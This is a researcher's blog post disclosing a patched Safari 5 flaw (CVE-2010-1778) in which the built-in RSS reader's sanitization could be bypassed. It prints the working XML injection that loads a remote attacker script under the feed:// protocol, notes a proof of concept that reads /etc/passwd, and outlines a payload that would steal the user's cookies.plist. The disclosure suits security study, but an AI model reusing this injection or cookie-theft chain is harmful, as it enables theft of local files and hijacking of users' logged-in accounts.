Sunday, August 1, 2010

Stealing Files With Safari 5 (CVE-2010-1778)

Last week, Apple patched a bug in Safari I had reported to the Apple security team.  The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”.  The advisory can be found here (CVE-2010-1778).

Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”.  First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read.  It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader.  Safari takes bits of content from the RSS file and mixes it with some built-in markup.  Try browsing to this RSS feed with Firefox (http://xs-sniper.com/blog/feed/rss/) and do a quick view source.  Then try browsing to the same URL with Safari and view source.  You'll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari's transform).

When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript.  This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is NOT subject to the same origin policy.  This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol.  The specific bypass is here (although the Jay-Z content isn't necessary for the exploit, it adds a bit of flava...):
<category term="Hip Hop/Rap" scheme="http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2" label="Hip Hop/Rap"/>

<link title="Preview" rel="enclosure" type='video/x-m4"--><script src="http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js">
</script>'
href="data:text/html,testtesttest" im:assetType="preview"><im:duration>30864</im:duration></link>

<im:artist href="http://itunes.apple.com/us/artist/jay-z/id112080?uo=2">Jay-Z</im:artist>

The XML above is transformed into the following by Safari’s feed processing routines:
<div>

<!-- <img src="feed:///__icon32__/video/x-m4"--><script src="http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js"> </script>"> -->

<img src="file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg" height="32" width="32"/>

The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice.  A quick PoC can be found here (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml).  For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog.  A better payload would be to crawl certain log files, extracting the username of the current user.  Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into.  Various configuration and ini files could be useful as well.  I’m putting the final touches on a metasploit module that does just this :)